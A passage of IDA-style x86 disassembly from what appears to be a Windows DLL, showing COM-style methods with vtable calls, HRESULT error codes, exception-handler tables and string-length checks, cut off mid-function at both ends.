		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+40h]
		jmp	loc_69B40587
; ---------------------------------------------------------------------------


loc_69B404CA:				; CODE XREF: sub_69B403EC+11j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B404DA
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B404DD
; ---------------------------------------------------------------------------


loc_69B404DA:				; CODE XREF: sub_69B403EC+E5j
		mov	ecx, [eax+8]


loc_69B404DD:				; CODE XREF: sub_69B403EC+ECj
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+24h]
		jmp	loc_69B40587
; ---------------------------------------------------------------------------


loc_69B404F3:				; CODE XREF: sub_69B403EC+Bj
		sub	eax, 57h
		jz	short loc_69B40557
		dec	eax
		jz	short loc_69B40525
		dec	eax
		jz	short loc_69B40513
		dec	eax
		jz	short loc_69B40508


loc_69B40501:				; CODE XREF: sub_69B403EC+31j
		mov	eax, 80020003h
		jmp	short loc_69B40587
; ---------------------------------------------------------------------------


loc_69B40508:				; CODE XREF: sub_69B403EC+113j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+3Ch]
		jmp	short loc_69B40587
; ---------------------------------------------------------------------------


loc_69B40513:				; CODE XREF: sub_69B403EC+110j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+38h]
		jmp	short loc_69B40587
; ---------------------------------------------------------------------------


loc_69B40525:				; CODE XREF: sub_69B403EC+10Dj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+19h], 40h
		jz	short loc_69B40535
		mov	ecx, [eax+20h]
		mov	edx, [ecx]
		jmp	short loc_69B40538
; ---------------------------------------------------------------------------


loc_69B40535:				; CODE XREF: sub_69B403EC+140j
		mov	edx, [eax+20h]


loc_69B40538:				; CODE XREF: sub_69B403EC+147j
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B40543
		mov	eax, [eax]


loc_69B40543:				; CODE XREF: sub_69B403EC+153j
		mov	edi, [ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ecx]
		add	edi, 8
		push	edi
		push	edx
		push	eax
		push	ecx
		call	dword ptr [esi+34h]
		jmp	short loc_69B40587
; ---------------------------------------------------------------------------


loc_69B40557:				; CODE XREF: sub_69B403EC+10Aj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+19h], 40h
		jz	short loc_69B40567
		mov	ecx, [eax+20h]
		mov	edx, [ecx]
		jmp	short loc_69B4056A
; ---------------------------------------------------------------------------


loc_69B40567:				; CODE XREF: sub_69B403EC+172j
		mov	edx, [eax+20h]


loc_69B4056A:				; CODE XREF: sub_69B403EC+179j
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B40575
		mov	eax, [eax]


loc_69B40575:				; CODE XREF: sub_69B403EC+185j
		mov	edi, [ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ecx]
		add	edi, 8
		push	edi
		push	edx
		push	eax
		push	ecx
		call	dword ptr [esi+30h]


loc_69B40587:				; CODE XREF: sub_69B403EC+4Dj
					; sub_69B403EC+76j ...
		pop	edi
		pop	esi
		pop	ebp
		retn	18h
sub_69B403EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4058D	proc near		; DATA XREF: .text:69B14B88o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		cmp	dword ptr [esi], 0
		push	edi
		mov	edi, ecx
		mov	ecx, [esp+8+arg_0]
		push	esi
		jnz	short loc_69B405A6
		call	sub_69B49F0B
		jmp	short loc_69B405AB
; ---------------------------------------------------------------------------


loc_69B405A6:				; CODE XREF: sub_69B4058D+10j
		call	sub_69B47DCC


loc_69B405AB:				; CODE XREF: sub_69B4058D+17j
		cmp	byte ptr [edi+18h], 0
		jz	short loc_69B405CE
		jmp	short loc_69B405CA
; ---------------------------------------------------------------------------


loc_69B405B3:				; CODE XREF: sub_69B4058D+3Fj
		xor	ecx, ecx
		mov	cl, [eax+0Bh]
		and	ecx, 1Fh
		cmp	ecx, [edi+1Ch]
		jnz	short loc_69B405CE
		mov	ecx, [esp+8+arg_0]
		push	esi
		call	sub_69B47DCC


loc_69B405CA:				; CODE XREF: sub_69B4058D+24j
		test	eax, eax
		jnz	short loc_69B405B3


loc_69B405CE:				; CODE XREF: sub_69B4058D+22j
					; sub_69B4058D+31j
		pop	edi
		pop	esi
		retn	8
sub_69B4058D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B405D3	proc near		; DATA XREF: .text:69B14C78o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		cmp	dword ptr [edi+18h], 0Fh
		mov	ecx, [ebp+arg_0]
		jnz	short loc_69B405F9
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		push	eax
		jnz	short loc_69B405F2
		call	sub_69B4A73D
		jmp	short loc_69B40625
; ---------------------------------------------------------------------------


loc_69B405F2:				; CODE XREF: sub_69B405D3+16j
		call	sub_69B4A0ED
		jmp	short loc_69B40625
; ---------------------------------------------------------------------------


loc_69B405F9:				; CODE XREF: sub_69B405D3+Dj
		push	esi
		mov	esi, [ebp+arg_4]
		cmp	dword ptr [esi], 0
		push	esi
		jnz	short loc_69B4061B
		call	sub_69B49F0B
		jmp	short loc_69B40620
; ---------------------------------------------------------------------------


loc_69B4060A:				; CODE XREF: sub_69B405D3+4Fj
		xor	ecx, ecx
		mov	cl, [eax+0Bh]
		and	ecx, 1Fh
		cmp	ecx, [edi+18h]
		jz	short loc_69B40624
		mov	ecx, [ebp+arg_0]
		push	esi


loc_69B4061B:				; CODE XREF: sub_69B405D3+2Ej
		call	sub_69B47DCC


loc_69B40620:				; CODE XREF: sub_69B405D3+35j
		test	eax, eax
		jnz	short loc_69B4060A


loc_69B40624:				; CODE XREF: sub_69B405D3+42j
		pop	esi


loc_69B40625:				; CODE XREF: sub_69B405D3+1Dj
					; sub_69B405D3+24j
		pop	edi
		pop	ebp
		retn	8
sub_69B405D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4062A	proc near		; CODE XREF: sub_69B3B7BC+32j
					; sub_69B745C5+3Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_8]
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_4]
		lea	ecx, [esi+4]
		push	esi
		call	sub_69B2CE84
		test	eax, eax
		jz	short loc_69B40653
		push	[ebp+arg_8]
		lea	ecx, [esi+0Ch]
		push	[ebp+arg_4]
		push	esi
		call	sub_69B87FE8


loc_69B40653:				; CODE XREF: sub_69B4062A+18j
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B4062A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B40658	proc near		; CODE XREF: sub_69B43BE2+Cp

var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		call	dword_69B92948
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jnz	short loc_69B40675
		mov	eax, 80004005h
		jmp	short loc_69B406D8
; ---------------------------------------------------------------------------


loc_69B40675:				; CODE XREF: sub_69B40658+14j
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_69B40688
		mov	[ebp+var_8], 80070057h
		jmp	short loc_69B406CC
; ---------------------------------------------------------------------------


loc_69B40688:				; CODE XREF: sub_69B40658+25j
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	short loc_69B406C9
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	ecx, [ebp+var_18]
		call	sub_69B3FC21
		mov	edi, [esi+4]
		mov	[ebp+arg_0], ebx
		jmp	short loc_69B406A9
; ---------------------------------------------------------------------------


loc_69B406A8:				; CODE XREF: sub_69B40658+5Fj
		inc	ebx


loc_69B406A9:				; CODE XREF: sub_69B40658+4Ej
		mov	eax, [esi]
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, esi
		push	edi
		call	dword ptr [eax+14h]
		test	eax, eax
		jnz	short loc_69B406A8
		mov	eax, [ebp+arg_4]
		lea	ecx, [ebp+var_18]
		mov	[eax], ebx
		call	sub_69B18EBA
		pop	edi
		jmp	short loc_69B406CB
; ---------------------------------------------------------------------------


loc_69B406C9:				; CODE XREF: sub_69B40658+39j
		mov	[ecx], ebx


loc_69B406CB:				; CODE XREF: sub_69B40658+6Fj
		pop	esi


loc_69B406CC:				; CODE XREF: sub_69B40658+2Ej
		push	[ebp+var_4]
		call	dword_69B92944
		mov	eax, [ebp+var_8]


loc_69B406D8:				; CODE XREF: sub_69B40658+1Bj
		pop	ebx
		leave
		retn	8
sub_69B40658	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B406DD	proc near		; CODE XREF: sub_69B43BCA+10p
		push	30h
		push	offset dword_69B407E0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B40702
		mov	eax, 80004005h
		jmp	loc_69B407D2
; ---------------------------------------------------------------------------


loc_69B40702:				; CODE XREF: sub_69B406DD+19j
		mov	[ebp-20h], edi
		cmp	[ebp+0Ch], edi
		jge	short loc_69B40711
		mov	eax, [ebp+10h]
		mov	[eax], edi
		jmp	short loc_69B40730
; ---------------------------------------------------------------------------


loc_69B40711:				; CODE XREF: sub_69B406DD+2Bj
		mov	ebx, [ebp+10h]
		cmp	ebx, edi
		jnz	short loc_69B40724
		mov	dword ptr [ebp-20h], 80070057h
		jmp	loc_69B407C1
; ---------------------------------------------------------------------------


loc_69B40724:				; CODE XREF: sub_69B406DD+39j
		mov	[ebx], edi
		mov	esi, [ebp+8]
		mov	eax, [esi+4]
		cmp	eax, edi
		jnz	short loc_69B4073C


loc_69B40730:				; CODE XREF: sub_69B406DD+32j
		mov	dword ptr [ebp-20h], 1
		jmp	loc_69B407C1
; ---------------------------------------------------------------------------


loc_69B4073C:				; CODE XREF: sub_69B406DD+51j
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-30h]
		call	sub_69B3FC21
		mov	[ebp-4], edi
		mov	[ebp-34h], edi
		mov	[ebp-38h], edi
		mov	edi, [esi+4]
		mov	[ebp-3Ch], edi


loc_69B40757:				; CODE XREF: sub_69B406DD+98j
		mov	eax, [esi]
		lea	ecx, [ebp-34h]
		push	ecx
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+14h]
		mov	[ebp-40h], eax
		test	eax, eax
		jz	short loc_69B40786
		mov	ecx, [ebp-38h]
		cmp	ecx, [ebp+0Ch]
		jge	short loc_69B40777
		inc	dword ptr [ebp-38h]
		jmp	short loc_69B40757
; ---------------------------------------------------------------------------


loc_69B40777:				; CODE XREF: sub_69B406DD+93j
		test	eax, eax
		jz	short loc_69B40786
		mov	ecx, eax
		call	sub_69B48B01
		mov	[ebx], eax
		jmp	short loc_69B407B3
; ---------------------------------------------------------------------------


loc_69B40786:				; CODE XREF: sub_69B406DD+8Bj
					; sub_69B406DD+9Cj
		and	dword ptr [ebx], 0
		mov	dword ptr [ebp-20h], 1
		jmp	short loc_69B407B3
; ---------------------------------------------------------------------------


loc_69B40792:				; DATA XREF: .text:69B407E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4079B:				; DATA XREF: .text:69B407E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax


loc_69B407B3:				; CODE XREF: sub_69B406DD+A7j
					; sub_69B406DD+B3j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B18EBA
		xor	edi, edi


loc_69B407C1:				; CODE XREF: sub_69B406DD+42j
					; sub_69B406DD+5Aj
		cmp	[ebp-1Ch], edi
		jz	short loc_69B407CF
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B407CF:				; CODE XREF: sub_69B406DD+E7j
		mov	eax, [ebp-20h]


loc_69B407D2:				; CODE XREF: sub_69B406DD+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B406DD	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B407E0	dd 0FFFFFFFFh			dd offset loc_69B40792
		dd offset loc_69B4079B

; =============== S U B	R O U T	I N E =======================================



sub_69B407EC	proc near		; CODE XREF: sub_69B43BF6+Cp
		push	24h
		push	offset dword_69B408B0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B40811
		mov	eax, 80004005h
		jmp	loc_69B408A6
; ---------------------------------------------------------------------------


loc_69B40811:				; CODE XREF: sub_69B407EC+19j
		mov	[ebp-20h], ebx
		mov	esi, [ebp+0Ch]
		cmp	esi, ebx
		jnz	short loc_69B40822
		mov	esi, 80070057h
		jmp	short loc_69B4089B
; ---------------------------------------------------------------------------


loc_69B40822:				; CODE XREF: sub_69B407EC+2Dj
		mov	[esi], ebx
		mov	edi, [ebp+8]
		mov	eax, [edi+4]
		cmp	eax, ebx
		jnz	short loc_69B40833
		xor	esi, esi
		inc	esi
		jmp	short loc_69B4089B
; ---------------------------------------------------------------------------


loc_69B40833:				; CODE XREF: sub_69B407EC+40j
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-30h]
		call	sub_69B3FC21
		mov	[ebp-4], ebx
		push	edi
		lea	ecx, [edi+8]
		call	sub_69B54740
		mov	ecx, eax
		mov	[ebp-34h], ecx
		cmp	ecx, ebx
		jz	short loc_69B4085D
		call	sub_69B48B01
		mov	[esi], eax
		jmp	short loc_69B40866
; ---------------------------------------------------------------------------


loc_69B4085D:				; CODE XREF: sub_69B407EC+66j
		mov	[esi], ebx
		mov	dword ptr [ebp-20h], 1


loc_69B40866:				; CODE XREF: sub_69B407EC+6Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-20h]
		jmp	short loc_69B40893
; ---------------------------------------------------------------------------


loc_69B4086F:				; DATA XREF: .text:69B408B4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B40878:				; DATA XREF: .text:69B408B8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B40893:				; CODE XREF: sub_69B407EC+81j
		lea	ecx, [ebp-30h]
		call	sub_69B18EBA


loc_69B4089B:				; CODE XREF: sub_69B407EC+34j
					; sub_69B407EC+45j
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B408A6:				; CODE XREF: sub_69B407EC+20j
		call	sub_69B1853C
		retn	8
sub_69B407EC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B408B0	dd 0FFFFFFFFh			dd offset loc_69B4086F
		dd offset loc_69B40878

; =============== S U B	R O U T	I N E =======================================



sub_69B408BC	proc near		; CODE XREF: sub_69B43C0A+Cp
		push	24h
		push	offset dword_69B40970
		call	sub_69B19C5C
		mov	esi, ecx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B408E3
		mov	eax, 80004005h
		jmp	loc_69B40968
; ---------------------------------------------------------------------------


loc_69B408E3:				; CODE XREF: sub_69B408BC+1Bj
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B408F1
		mov	ebx, 80070057h
		jmp	short loc_69B4095D
; ---------------------------------------------------------------------------


loc_69B408F1:				; CODE XREF: sub_69B408BC+2Cj
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	short loc_69B40958
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-2Ch]
		call	sub_69B3FC21
		and	dword ptr [ebp-4], 0
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		call	dword ptr [eax+0B4h]
		mov	[ebp-30h], eax
		mov	eax, [eax+3Ch]
		mov	[ebp-34h], eax
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	sub_69B54B2A
		mov	[edi], eax
		jmp	short loc_69B4094A
; ---------------------------------------------------------------------------


loc_69B4092A:				; DATA XREF: .text:69B40974o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B40933:				; DATA XREF: .text:69B40978o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B4094A:				; CODE XREF: sub_69B408BC+6Cj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		jmp	short loc_69B4095D
; ---------------------------------------------------------------------------


loc_69B40958:				; CODE XREF: sub_69B408BC+3Aj
		mov	[edi], ebx
		xor	ebx, ebx
		inc	ebx


loc_69B4095D:				; CODE XREF: sub_69B408BC+33j
					; sub_69B408BC+9Aj
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B40968:				; CODE XREF: sub_69B408BC+22j
		call	sub_69B1853C
		retn	8
sub_69B408BC	endp

; ---------------------------------------------------------------------------
dword_69B40970	dd 0FFFFFFFFh			dd offset loc_69B4092A
		dd offset loc_69B40933

; =============== S U B	R O U T	I N E =======================================



sub_69B4097C	proc near		; DATA XREF: .text:69B14C3Co
		push	28h
		push	offset dword_69B40A60
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_69B409A1
		mov	eax, 80004005h
		jmp	loc_69B40A55
; ---------------------------------------------------------------------------


loc_69B409A1:				; CODE XREF: sub_69B4097C+19j
		mov	[ebp-20h], esi
		cmp	[ebp+0Ch], esi
		jz	short loc_69B409B0
		mov	ebx, [ebp+10h]
		cmp	ebx, esi
		jnz	short loc_69B409BC


loc_69B409B0:				; CODE XREF: sub_69B4097C+2Bj
		mov	dword ptr [ebp-20h], 80070057h
		jmp	loc_69B40A49
; ---------------------------------------------------------------------------


loc_69B409BC:				; CODE XREF: sub_69B4097C+32j
		mov	[ebx], esi
		mov	edi, [ebp+8]
		mov	eax, [edi+20h]
		cmp	eax, esi
		jnz	short loc_69B409D1
		mov	dword ptr [ebp-20h], 1
		jmp	short loc_69B40A49
; ---------------------------------------------------------------------------


loc_69B409D1:				; CODE XREF: sub_69B4097C+4Aj
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-30h]
		call	sub_69B3FC21
		mov	[ebp-4], esi
		mov	esi, [edi+20h]
		mov	[ebp-34h], esi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		push	eax		; int
		push	dword ptr [edi+34h] ; int
		push	dword ptr [ebp+0Ch] ; lpString
		mov	ecx, esi
		call	sub_69B49D8E
		mov	[ebp-38h], eax
		test	eax, eax
		jz	short loc_69B40A10
		mov	ecx, eax
		call	sub_69B48B01
		mov	[ebx], eax
		jmp	short loc_69B40A3D
; ---------------------------------------------------------------------------


loc_69B40A10:				; CODE XREF: sub_69B4097C+87j
		and	dword ptr [ebx], 0
		mov	dword ptr [ebp-20h], 1
		jmp	short loc_69B40A3D
; ---------------------------------------------------------------------------


loc_69B40A1C:				; DATA XREF: .text:69B40A64o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B40A25:				; DATA XREF: .text:69B40A68o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax


loc_69B40A3D:				; CODE XREF: sub_69B4097C+92j
					; sub_69B4097C+9Ej
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B18EBA


loc_69B40A49:				; CODE XREF: sub_69B4097C+3Bj
					; sub_69B4097C+53j
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-20h]


loc_69B40A55:				; CODE XREF: sub_69B4097C+20j
		call	sub_69B1853C
		retn	0Ch
sub_69B4097C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B40A60	dd 0FFFFFFFFh			dd offset loc_69B40A1C
		dd offset loc_69B40A25

; =============== S U B	R O U T	I N E =======================================



sub_69B40A6C	proc near		; DATA XREF: .text:69B14C44o
		push	2Ch
		push	offset dword_69B40B80
		call	sub_69B19C5C
		call	dword_69B92948
		mov	esi, eax
		mov	[ebp-1Ch], esi
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_69B40ADA
		mov	[ebp-20h], ebx
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B40AB2
		mov	eax, [ebp+10h]
		cmp	eax, ebx
		jz	short loc_69B40A9A
		mov	[eax], ebx


loc_69B40A9A:				; CODE XREF: sub_69B40A6C+2Aj
		mov	edi, [ebp+8]
		mov	eax, [edi+20h]
		cmp	eax, ebx
		jnz	short loc_69B40AAC
		xor	esi, esi
		inc	esi
		jmp	loc_69B40B67
; ---------------------------------------------------------------------------


loc_69B40AAC:				; CODE XREF: sub_69B40A6C+36j
		cmp	dword ptr [edi+34h], 0Fh
		jz	short loc_69B40ABC


loc_69B40AB2:				; CODE XREF: sub_69B40A6C+23j
		mov	esi, 80070057h
		jmp	loc_69B40B67
; ---------------------------------------------------------------------------


loc_69B40ABC:				; CODE XREF: sub_69B40A6C+44j
		push	eax
		push	esi
		lea	ecx, [ebp-34h]
		call	sub_69B3FBF7
		cmp	[ebp-30h], bl
		jnz	short loc_69B40AE4
		lea	ecx, [ebp-34h]
		call	sub_69B4637D
		push	esi
		call	dword_69B92944


loc_69B40ADA:				; CODE XREF: sub_69B40A6C+1Bj
		mov	eax, 80004005h
		jmp	loc_69B40B72
; ---------------------------------------------------------------------------


loc_69B40AE4:				; CODE XREF: sub_69B40A6C+5Dj
		mov	[ebp-4], ebx
		mov	esi, [edi+20h]
		mov	[ebp-38h], esi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		push	eax		; int
		push	dword ptr [edi+34h] ; int
		push	dword ptr [ebp+0Ch] ; lpString
		mov	ecx, esi
		call	sub_69B49D8E
		mov	edi, eax
		mov	[ebp-3Ch], edi
		cmp	edi, ebx
		jz	short loc_69B40B2B
		cmp	[ebp+10h], ebx
		jz	short loc_69B40B1F
		mov	ecx, edi
		call	sub_69B48B01
		mov	ecx, [ebp+10h]
		mov	[ecx], eax


loc_69B40B1F:				; CODE XREF: sub_69B40A6C+A5j
		push	1
		push	edi
		mov	ecx, esi
		call	sub_69B3D570
		jmp	short loc_69B40B32
; ---------------------------------------------------------------------------


loc_69B40B2B:				; CODE XREF: sub_69B40A6C+A0j
		mov	dword ptr [ebp-20h], 1


loc_69B40B32:				; CODE XREF: sub_69B40A6C+BDj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-20h]
		jmp	short loc_69B40B5F
; ---------------------------------------------------------------------------


loc_69B40B3B:				; DATA XREF: .text:69B40B84o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B40B44:				; DATA XREF: .text:69B40B88o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	esi, eax
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B40B5F:				; CODE XREF: sub_69B40A6C+CDj
		lea	ecx, [ebp-34h]
		call	sub_69B4637D


loc_69B40B67:				; CODE XREF: sub_69B40A6C+3Bj
					; sub_69B40A6C+4Bj
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi


loc_69B40B72:				; CODE XREF: sub_69B40A6C+73j
		call	sub_69B1853C
		retn	0Ch
sub_69B40A6C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B40B80	dd 0FFFFFFFFh			dd offset loc_69B40B3B
		dd offset loc_69B40B44

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B40B8C(LPCWSTR lpString, int)

sub_69B40B8C	proc near		; CODE XREF: sub_69B40BD6+73p
					; sub_69B40CBC+92p

lpString	= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		call	dword ptr [eax+0B4h]
		mov	esi, eax
		xor	eax, eax
		cmp	ebx, eax
		jz	short loc_69B40BB0
		cmp	[ebx], ax
		jz	short loc_69B40BB0
		mov	ecx, [esi+70h]
		push	0FFFFFFFFh	; int
		push	ebx		; lpString
		push	eax		; int
		call	sub_69B4D394


loc_69B40BB0:				; CODE XREF: sub_69B40B8C+11j
					; sub_69B40B8C+16j
		push	eax
		push	[esp+8+lpString] ; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	[esp+0Ch+lpString]
		call	sub_69B2FA09
		push	esi
		push	[esp+8+arg_4]
		mov	ecx, edi
		push	eax
		call	sub_69B49C1F
		pop	esi
		retn	8
sub_69B40B8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B40BD6	proc near		; DATA XREF: .text:69B14C50o
		push	28h
		push	offset dword_69B40CB0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B40BFB
		mov	eax, 80004005h
		jmp	loc_69B40CA2
; ---------------------------------------------------------------------------


loc_69B40BFB:				; CODE XREF: sub_69B40BD6+19j
		mov	[ebp-20h], edi
		cmp	[ebp+0Ch], edi
		jz	short loc_69B40C0A
		mov	esi, [ebp+14h]
		cmp	esi, edi
		jnz	short loc_69B40C16


loc_69B40C0A:				; CODE XREF: sub_69B40BD6+2Bj
		mov	dword ptr [ebp-20h], 80070057h
		jmp	loc_69B40C96
; ---------------------------------------------------------------------------


loc_69B40C16:				; CODE XREF: sub_69B40BD6+32j
		mov	[esi], edi
		mov	ebx, [ebp+8]
		mov	eax, [ebx+20h]
		cmp	eax, edi
		jnz	short loc_69B40C2B
		mov	dword ptr [ebp-20h], 1
		jmp	short loc_69B40C96
; ---------------------------------------------------------------------------


loc_69B40C2B:				; CODE XREF: sub_69B40BD6+4Aj
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-30h]
		call	sub_69B3FC21
		mov	[ebp-4], edi
		mov	edi, [ebx+20h]
		mov	[ebp-34h], edi
		push	dword ptr [ebx+34h] ; int
		push	dword ptr [ebp+0Ch] ; lpString
		mov	ebx, [ebp+10h]
		call	sub_69B40B8C
		mov	ecx, eax
		mov	[ebp-38h], ecx
		test	ecx, ecx
		jz	short loc_69B40C60
		call	sub_69B48B01
		mov	[esi], eax
		jmp	short loc_69B40C8A
; ---------------------------------------------------------------------------


loc_69B40C60:				; CODE XREF: sub_69B40BD6+7Fj
		mov	dword ptr [ebp-20h], 1
		jmp	short loc_69B40C8A
; ---------------------------------------------------------------------------


loc_69B40C69:				; DATA XREF: .text:69B40CB4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B40C72:				; DATA XREF: .text:69B40CB8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax


loc_69B40C8A:				; CODE XREF: sub_69B40BD6+88j
					; sub_69B40BD6+91j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_69B18EBA


loc_69B40C96:				; CODE XREF: sub_69B40BD6+3Bj
					; sub_69B40BD6+53j
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-20h]


loc_69B40CA2:				; CODE XREF: sub_69B40BD6+20j
		call	sub_69B1853C
		retn	10h
sub_69B40BD6	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B40CB0	dd 0FFFFFFFFh			dd offset loc_69B40C69
		dd offset loc_69B40C72

; =============== S U B	R O U T	I N E =======================================



sub_69B40CBC	proc near		; DATA XREF: .text:69B14C54o
		push	2Ch
		push	offset dword_69B40DC8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	esi, eax
		mov	[ebp-1Ch], esi
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_69B40D30
		mov	[ebp-20h], ebx
		cmp	[ebp+0Ch], ebx
		jz	short loc_69B40D06
		mov	eax, [ebp+14h]
		cmp	eax, ebx
		jz	short loc_69B40D06
		mov	[eax], ebx
		mov	edi, [ebp+8]
		mov	eax, [edi+20h]
		cmp	eax, ebx
		jnz	short loc_69B40D00
